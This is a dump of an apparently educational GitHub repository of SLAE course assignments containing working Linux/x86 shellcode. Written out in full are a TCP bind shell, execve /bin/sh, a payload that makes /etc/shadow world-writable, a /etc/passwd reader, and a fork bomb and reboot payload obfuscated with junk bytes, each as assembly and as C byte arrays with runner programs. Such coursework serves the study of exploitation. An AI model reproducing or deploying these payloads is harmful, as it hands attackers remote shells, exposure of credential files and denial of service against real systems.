├── .gitignore ├── 3rd.assignment ├── egg_hunter.png ├── egg.asm ├── egg_hunter.asm └── egg_hunter_shellcode.c ├── 5th.assignment ├── tiny_chmod.png ├── tiny_chmod.asm ├── tiny_read_file.asm └── tiny_read_file_shellcode.c ├── 1st.assignment ├── shell_bind_tcp.png ├── shellcode.c ├── shell_bind_tcp.c ├── shell_bind_tcp_shellcode.asm └── shell_bind_tcp.asm ├── 2nd.assignment ├── shell_reverse_tcp.png ├── shell_reverse_tcp_metasploit.png ├── shellcode.c └── shell_reverse_tcp.asm ├── 4th.assignment ├── insertion_decoder.png ├── tiny_execve_sh.asm ├── tiny_execve_sh_shellcode.c ├── insertion_decoder_shellcode.c ├── insertion_decoder.asm └── insertion_encoder.py ├── 7th.assignment ├── uzumaki_decrypter.png ├── uzumaki_decrypter_shellcode.c ├── uzumaki_decrypter.asm └── uzumaki_crypter.py ├── improvements ├── shell_bind_tcp_getpc.png ├── tiny_shell_bind_tcp.png ├── tiny_shell_reverse_tcp.png ├── tiny_shell_bind_tcp_random_port.png ├── shell_bind_tcp_random_port_shellcode.png ├── shell_bind_tcp_random_port_shellcode.c ├── x86_execve_dyn_shellcode.c ├── tiny_shell_bind_tcp_shellcode.c ├── tiny_shell_reverse_tcp_shellcode.c ├── tiny_shell_bind_tcp_random_port_shellcode.c ├── shell_bind_tcp_getpc_shellcode.c ├── shell_bind_tcp_random_port_shellcode_x86_64.c ├── tiny_shell_bind_tcp_random_port_shellcode_x86_64.c ├── shell_bind_tcp_getpc.asm ├── x86_execve_dyn.asm ├── shell_bind_tcp_random_port_shellcode.asm ├── tiny_shell_reverse_tcp.asm ├── tiny_shell_bind_tcp.asm ├── shell_bind_tcp_random_port_x86_64.asm ├── tiny_shell_bind_tcp_random_port.asm └── tiny_shell_bind_tcp_random_port_x86_64.asm ├── 6th.assignment ├── downfile ├── mutated_fork.asm ├── mutated_fork_shellcode.c ├── mutated_reboot.asm ├── mutated_reboot_shellcode.c ├── mutated_execve_wget.asm └── mutated_execve_wget_shellcode.c ├── README.md └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *~ 3 | SLAE 4 | -------------------------------------------------------------------------------- /3rd.assignment/egg_hunter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geyslan/SLAE/HEAD/3rd.assignment/egg_hunter.png -------------------------------------------------------------------------------- /5th.assignment/tiny_chmod.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geyslan/SLAE/HEAD/5th.assignment/tiny_chmod.png -------------------------------------------------------------------------------- /1st.assignment/shell_bind_tcp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geyslan/SLAE/HEAD/1st.assignment/shell_bind_tcp.png -------------------------------------------------------------------------------- /2nd.assignment/shell_reverse_tcp.png: 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-------------------------------------------------------------------------------- /improvements/tiny_shell_bind_tcp_random_port.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geyslan/SLAE/HEAD/improvements/tiny_shell_bind_tcp_random_port.png -------------------------------------------------------------------------------- /6th.assignment/downfile: -------------------------------------------------------------------------------- 1 | The shellcode works! 2 | 3 | Now modify it to use your url... 4 | 5 | http://hackingbits.com 6 | geyslan@gmail.com 7 | 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![DOI](https://zenodo.org/badge/8726323.svg)](https://zenodo.org/badge/latestdoi/8726323) 2 | 3 | SLAE 4 | ==== 5 | 6 | SLAE Assignments 7 | -------------------------------------------------------------------------------- /improvements/shell_bind_tcp_random_port_shellcode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geyslan/SLAE/HEAD/improvements/shell_bind_tcp_random_port_shellcode.png -------------------------------------------------------------------------------- /3rd.assignment/egg.asm: -------------------------------------------------------------------------------- 1 | ; Egg - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; egg 22 | ; 23 | ; # nasm -f elf32 egg.asm 24 | ; # ld -m elf_i386 egg.o -o egg 25 | ; 26 | ; Testing 27 | ; # ./egg 28 | 29 | 30 | global _start 31 | 32 | section .text 33 | 34 | _start: 35 | 36 | ; egg signature (4 bytes * 2 = 8 bytes) 37 | 38 | nop 39 | push eax 40 | nop 41 | push eax 42 | 43 | ; repeat signature 44 | 45 | nop 46 | push eax 47 | nop 48 | push eax 49 | 50 | 51 | ; Write "Egg Mark" 52 | 53 | xor ebx, ebx 54 | mul ebx 55 | 56 | mov al, 4 57 | push 0xA 58 | push 0x6b72614d 59 | push 0x20676745 60 | mov bl, 1 61 | mov ecx, esp 62 | mov dl, 9 63 | int 0x80 64 | 65 | 66 | ; Exit 67 | 68 | mov al, 1 69 | int 0x80 70 | -------------------------------------------------------------------------------- /4th.assignment/tiny_execve_sh.asm: -------------------------------------------------------------------------------- 1 | ; Tiny Execve sh - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; execve 22 | ; 23 | ; * 21 bytes 24 | ; * null-free 25 | ; 26 | ; 27 | ; # nasm -f elf32 tiny_execve_sh.asm 28 | ; # ld -m elf_i386 tiny_execve_sh.o -o tiny_execve_sh 29 | ; 30 | ; Testing 31 | ; # ./tiny_execve_sh 32 | 33 | 34 | global _start 35 | 36 | section .text 37 | 38 | _start: 39 | ; int execve(const char *filename, char *const argv[], char *const envp[]) 40 | 41 | xor ecx, ecx ; ecx = NULL 42 | mul ecx ; eax and edx = NULL 43 | mov al, 11 ; execve syscall 44 | push ecx ; string NULL 45 | push 0x68732f2f ; "//sh" 46 | push 0x6e69622f ; "/bin" 47 | mov ebx, esp ; pointer to "/bin/sh\0" string 48 | int 0x80 ; bingo 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /5th.assignment/tiny_chmod.asm: -------------------------------------------------------------------------------- 1 | ; Tiny chmod - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; tiny_chmod 22 | ; 23 | ; * 34 bytes 24 | ; * null-free 25 | ; * set 0666 permission to /etc/shadow 26 | ; 27 | ; # nasm -f elf32 tiny_chmod.asm 28 | ; # ld -m elf_i386 tiny_chmod.o -o tiny_chmod 29 | ; # for i in $(objdump -d tiny_chmod |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo 30 | 31 | 32 | global _start 33 | 34 | section .text 35 | 36 | _start: 37 | 38 | ; int chmod(const char *path, mode_t mode); 39 | 40 | xor ecx, ecx 41 | mul ecx 42 | mov al, 15 43 | push edx 44 | push 0x776f6461 45 | push 0x68732f2f 46 | push 0x6374652f 47 | mov ebx, esp 48 | mov cx, 0x1b6 49 | int 0x80 50 | 51 | ; void _exit(int status); 52 | 53 | inc edx 54 | xchg eax, edx 55 | int 0x80 56 | -------------------------------------------------------------------------------- /6th.assignment/mutated_fork.asm: -------------------------------------------------------------------------------- 1 | ; Mutated Fork Bomb - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; mutated_fork_bomb 22 | ; 23 | ; * 15 bytes 24 | ; * null-free 25 | ; * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic) 26 | ; 27 | ; 28 | ; # nasm -f elf32 mutated_fork_bomb.asm 29 | ; # ld -m elf_i386 mutated_fork_bomb.o -o mutated_fork_bomb 30 | ; # for i in $(objdump -d mutated_fork_bomb |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo 31 | ; 32 | ; Testing 33 | ; * Only run it in a Virtual Machine!!! Your system will crash. Use at your own risk! 34 | 35 | 36 | global _start 37 | 38 | section .text 39 | 40 | _start: 41 | xor edi, edi 42 | jmp $+3 43 | db 0xe8 44 | mov dl, 29 45 | xchg edi, eax 46 | sub eax, 27 47 | int 0x80 48 | jmp _start 49 | -------------------------------------------------------------------------------- /5th.assignment/tiny_read_file.asm: -------------------------------------------------------------------------------- 1 | 2 | ; Tiny Read File - Assembly Language - Linux/x86 3 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 4 | ; 5 | ; http://hackingbits.com 6 | ; geyslan@gmail.com 7 | ; 8 | ; This program is free software: you can redistribute it and/or modify 9 | ; it under the terms of the GNU General Public License as published by 10 | ; the Free Software Foundation, either version 3 of the License, or 11 | ; (at your option) any later version. 12 | ; 13 | ; This program is distributed in the hope that it will be useful, 14 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | ; GNU General Public License for more details. 17 | ; 18 | ; You should have received a copy of the GNU General Public License 19 | ; along with this program. If not, see . 20 | 21 | 22 | ; tiny_read_file 23 | ; 24 | ; * 51 bytes 25 | ; * null-free 26 | ; * read 4096 bytes from /etc/passwd file 27 | ; 28 | ; # nasm -f elf32 tiny_read_file.asm 29 | ; # ld -m elf_i386 tiny_read_file.o -o tiny_read_file 30 | ; # for i in $(objdump -d tiny_read_file |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo 31 | 32 | global _start 33 | 34 | section .text 35 | 36 | _start: 37 | 38 | ; int open(const char *pathname, int flags); 39 | 40 | xor ecx, ecx 41 | mul ecx 42 | mov al, 5 43 | push ecx 44 | push 0x64777373 45 | push 0x61702f63 46 | push 0x74652f2f 47 | mov ebx, esp 48 | int 0x80 49 | 50 | ; ssize_t read(int fd, void *buf, size_t count); 51 | 52 | xchg eax, ebx 53 | xchg ecx, eax 54 | mov al, 3 55 | xor edx, edx 56 | mov dx, 4095 57 | inc edx 58 | int 0x80 59 | 60 | ; ssize_t write(int fd, const void *buf, size_t count); 61 | 62 | xchg edx, eax 63 | xor eax, eax 64 | mov al, 4 65 | mov bl, 1 66 | int 0x80 67 | 68 | ; void _exit(int status); 69 | 70 | xchg eax, ebx 71 | int 0x80 72 | -------------------------------------------------------------------------------- /4th.assignment/tiny_execve_sh_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Tiny Execve sh Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | tiny_execve_sh_shellcode 27 | 28 | * 21 bytes 29 | * null-free 30 | 31 | 32 | # gcc -m32 -fno-stack-protector -z execstack tiny_execve_sh_shellcode.c -o tiny_execve_sh_shellcode 33 | 34 | Testing 35 | # ./tiny_execve_sh_shellcode 36 | 37 | */ 38 | 39 | 40 | #include 41 | #include 42 | 43 | unsigned char shellcode[] = \ 44 | 45 | "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" 46 | "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd" 47 | "\x80"; 48 | 49 | 50 | main () 51 | { 52 | 53 | // When contains null bytes, printf will show a wrong shellcode length. 54 | 55 | printf("Shellcode Length: %d\n", strlen(shellcode)); 56 | 57 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 58 | 59 | __asm__ ("movl $0xffffffff, %eax\n\t" 60 | "movl %eax, %ebx\n\t" 61 | "movl %eax, %ecx\n\t" 62 | "movl %eax, %edx\n\t" 63 | "movl %eax, %esi\n\t" 64 | "movl %eax, %edi\n\t" 65 | "movl %eax, %ebp\n\t" 66 | 67 | // Calling the shellcode 68 | "call shellcode"); 69 | 70 | } 71 | -------------------------------------------------------------------------------- /6th.assignment/mutated_fork_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Mutated Fork Bomb Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | mutated_fork_bomb_shellcode 27 | 28 | * 15 bytes 29 | * null-free 30 | * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic) 31 | 32 | 33 | # gcc -m32 -fno-stack-protector -z execstack mutated_fork_bomb_shellcode.c -o mutated_fork_bomb_shellcode 34 | 35 | Testing 36 | * Only run it in a Virtual Machine!!! Your system will crash. Use at your own risk! 37 | 38 | */ 39 | 40 | 41 | #include 42 | #include 43 | 44 | unsigned char shellcode[] = \ 45 | 46 | "\x31\xff\xeb\x01\xe8\xb2\x1d\x97\x83\xe8" 47 | "\x1b\xcd\x80\xeb\xf1"; 48 | 49 | 50 | main () 51 | { 52 | 53 | // When contains null bytes, printf will show a wrong shellcode length. 54 | 55 | printf("Shellcode Length: %d\n", strlen(shellcode)); 56 | 57 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 58 | 59 | __asm__ ("movl $0xffffffff, %eax\n\t" 60 | "movl %eax, %ebx\n\t" 61 | "movl %eax, %ecx\n\t" 62 | "movl %eax, %edx\n\t" 63 | "movl %eax, %esi\n\t" 64 | "movl %eax, %edi\n\t" 65 | "movl %eax, %ebp\n\t" 66 | 67 | // Calling the shellcode 68 | "call shellcode"); 69 | 70 | } 71 | -------------------------------------------------------------------------------- /1st.assignment/shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Shell Bind TCP Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | shell_bind_tcp_shellcode 27 | 28 | * 103 bytes 29 | * null-bytes free 30 | * avoids SIGSEGV when reconnecting, setting SO_REUSEADDR (TIME_WAIT) 31 | * the port number is easily changeable (3th and 4th bytes of the shellcode) 32 | 33 | 34 | # gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode 35 | # ./shellcode 36 | 37 | Testing 38 | # nc 127.0.0.1 11111 39 | 40 | */ 41 | 42 | #include 43 | #include 44 | 45 | unsigned char code[] = \ 46 | 47 | "\x66\xbd" 48 | "\x2b\x67" /* <- Port number 11111 (2 bytes) */ 49 | "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89" 50 | "\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57" 51 | "\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb" 52 | "\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89" 53 | "\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd" 54 | "\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89" 55 | "\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68" 56 | "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52" 57 | "\x53\xeb\xa8"; 58 | 59 | 60 | main () 61 | { 62 | 63 | printf("Shellcode Length: %d\n", strlen(code)); 64 | 65 | int (*ret)() = (int(*)())code; 66 | 67 | ret(); 68 | 69 | } 70 | -------------------------------------------------------------------------------- /6th.assignment/mutated_reboot.asm: -------------------------------------------------------------------------------- 1 | ; Mutated Reboot - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; mutated_reboot 22 | ; 23 | ; * 55 bytes 24 | ; * null-free 25 | ; * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic) 26 | ; 27 | ; 28 | ; # nasm -f elf32 mutated_reboot.asm 29 | ; # ld -m elf_i386 mutated_reboot.o -o mutated_reboot 30 | ; # for i in $(objdump -d mutated_reboot |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo 31 | ; 32 | ; Testing 33 | ; * Only run it in a Virtual Machine!!! Your system will reboot. Use at your own risk! 34 | ; * To work properly, you must be su! 35 | 36 | 37 | global _start 38 | 39 | section .text 40 | 41 | _start: 42 | ; void sync(void); 43 | ; sync() 44 | 45 | sub edi, edi 46 | jz $+3 47 | db 0xe8 48 | add edi, 36 49 | xchg eax, edi 50 | jmp $+3 51 | db 0xe1 52 | int 0x80 53 | 54 | 55 | ; int reboot(int magic, int magic2, int cmd, void *arg); 56 | ; reboot(0xfee1dead, 0x28121969, 0x1234567, not_used) 57 | 58 | jmp $+3 59 | db 0xff 60 | push 0x29 61 | pop ecx 62 | jmp $+3 63 | db 0x01 64 | mov ebx, 0x1234567 65 | mov edx, 0xffc29bca 66 | xor edx, ebx 67 | jnz $+3 68 | db 0xe7 69 | xchg ebx, edx 70 | lea eax, [ecx+0x2f] 71 | lea ecx, [ecx+0x28121940] 72 | jmp $+4 73 | db 0xe8, 0x01 74 | int 0x80 75 | -------------------------------------------------------------------------------- /5th.assignment/tiny_read_file_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Tiny Read File Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | tiny_read_file_shellcode 27 | 28 | * 51 bytes 29 | * null-free 30 | * read 4096 bytes from /etc/passwd file 31 | 32 | 33 | # gcc -m32 -fno-stack-protector -z execstack tiny_read_file_shellcode.c -o tiny_read_file_shellcode 34 | 35 | Testing 36 | # ./tiny_read_file_shellcode 37 | 38 | */ 39 | 40 | 41 | #include 42 | #include 43 | 44 | unsigned char shellcode[] = \ 45 | 46 | "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73" 47 | "\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f" 48 | "\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03" 49 | "\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92" 50 | "\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd" 51 | "\x80"; 52 | 53 | 54 | main () 55 | { 56 | 57 | // When contains null bytes, printf will show a wrong shellcode length. 58 | 59 | printf("Shellcode Length: %d\n", strlen(shellcode)); 60 | 61 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 62 | 63 | __asm__ ("movl $0xffffffff, %eax\n\t" 64 | "movl %eax, %ebx\n\t" 65 | "movl %eax, %ecx\n\t" 66 | "movl %eax, %edx\n\t" 67 | "movl %eax, %esi\n\t" 68 | "movl %eax, %edi\n\t" 69 | "movl %eax, %ebp\n\t" 70 | 71 | // Calling the shellcode 72 | "call shellcode"); 73 | 74 | } 75 | -------------------------------------------------------------------------------- /improvements/shell_bind_tcp_random_port_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Shell Bind TCP Random Port Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | 25 | /* 26 | 27 | shell_bind_tcp_random_port_shellcode 28 | 29 | * 65 bytes 30 | * null-bytes free 31 | * the port number is set by the system and can be discovered using nmap 32 | (see http://manuals.ts.fujitsu.com/file/4686/posix_s.pdf, page 23, section 2.6.6) 33 | 34 | 35 | # gcc -m32 -fno-stack-protector -z execstack shell_bind_tcp_random_port_shellcode.c -o shell_bind_tcp_random_port_shellcode 36 | # ./shell_bind_tcp_random_port_shellcode 37 | 38 | Testing 39 | # netstat -anp | grep shell 40 | # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode) 41 | # nc 127.0.0.1 port 42 | 43 | */ 44 | 45 | #include 46 | #include 47 | 48 | unsigned char code[] = \ 49 | 50 | "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89" 51 | "\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\xb3\x04\x52\x56" 52 | "\x89\xe1\xcd\x80\xb0\x66\x43\x89\x54\x24\x08\xcd" 53 | "\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b" 54 | "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" 55 | "\xe3\x52\x53\xeb\xca"; 56 | 57 | main () 58 | { 59 | 60 | printf("Shellcode Length: %d\n", strlen(code)); 61 | 62 | int (*ret)() = (int(*)())code; 63 | 64 | ret(); 65 | 66 | } 67 | -------------------------------------------------------------------------------- /improvements/x86_execve_dyn_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | execve Dynamic Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | x86_execve_dyn_shellcode 27 | 28 | * 47 bytes (without dynamic command) 29 | * null-free 30 | 31 | 32 | # gcc -m32 -fno-stack-protector -z execstack \ 33 | x86_execve_dyn_shellcode.c -o \ 34 | x86_execve_dyn_shellcode 35 | 36 | Testing 37 | # ./x86_execve_dyn_shellcode 38 | 39 | */ 40 | 41 | #include 42 | #include 43 | 44 | int main(void) 45 | { 46 | unsigned char code[] = "\x31\xdb\xf7\xe3\xb0\x0b\x52\x66\x68\x2d" 47 | "\x63\x89\xe7\xeb\x1b\x5e\xb3\x07\x88\x14" 48 | "\x1e\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" 49 | "\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1" 50 | "\xcd\x80\xe8\xe0\xff\xff\xff" 51 | "\x6c\x73\x20\x2f\x20\x2d\x6c"; // ls / -l 52 | 53 | // When contains null bytes, printf will show a wrong shellcode length. 54 | 55 | printf("Shellcode Length: %d\n", strlen(code)); 56 | 57 | // Pollutes all registers ensuring that the shellcode runs in any 58 | // circumstance. 59 | 60 | __asm__("lea %[code], %%ebp\n\t" 61 | "mov $0xffffffff, %%eax\n\t" 62 | "mov %%eax, %%ebx\n\t" 63 | "mov %%eax, %%ecx\n\t" 64 | "mov %%eax, %%edx\n\t" 65 | "mov %%eax, %%esi\n\t" 66 | "mov %%eax, %%edi\n\t" 67 | "call *%%ebp\n\t" 68 | : /* no outputs */ 69 | : [code] "m"(code)); 70 | } 71 | -------------------------------------------------------------------------------- /6th.assignment/mutated_reboot_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Mutated Reboot Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | mutated_reboot_shellcode 27 | 28 | * 55 bytes 29 | * null-free 30 | * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic) 31 | 32 | 33 | # gcc -m32 -fno-stack-protector -z execstack mutated_reboot_shellcode.c -o mutated_reboot_shellcode 34 | 35 | Testing 36 | * Only run it in a Virtual Machine!!! Your system will crash. Use at your own risk! 37 | * To work properly, you must be su! 38 | 39 | */ 40 | 41 | 42 | #include 43 | #include 44 | 45 | unsigned char shellcode[] = \ 46 | 47 | "\x29\xff\x74\x01\xe8\x83\xc7\x24\x97\xeb" 48 | "\x01\xe1\xcd\x80\xeb\x01\xff\x6a\x29\x59" 49 | "\xeb\x01\x01\xbb\x67\x45\x23\x01\xba\xca" 50 | "\x9b\xc2\xff\x31\xda\x75\x01\xe7\x87\xda" 51 | "\x8d\x41\x2f\x8d\x89\x40\x19\x12\x28\xeb" 52 | "\x02\xe8\x01\xcd\x80"; 53 | 54 | 55 | main () 56 | { 57 | 58 | // When contains null bytes, printf will show a wrong shellcode length. 59 | 60 | printf("Shellcode Length: %d\n", strlen(shellcode)); 61 | 62 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 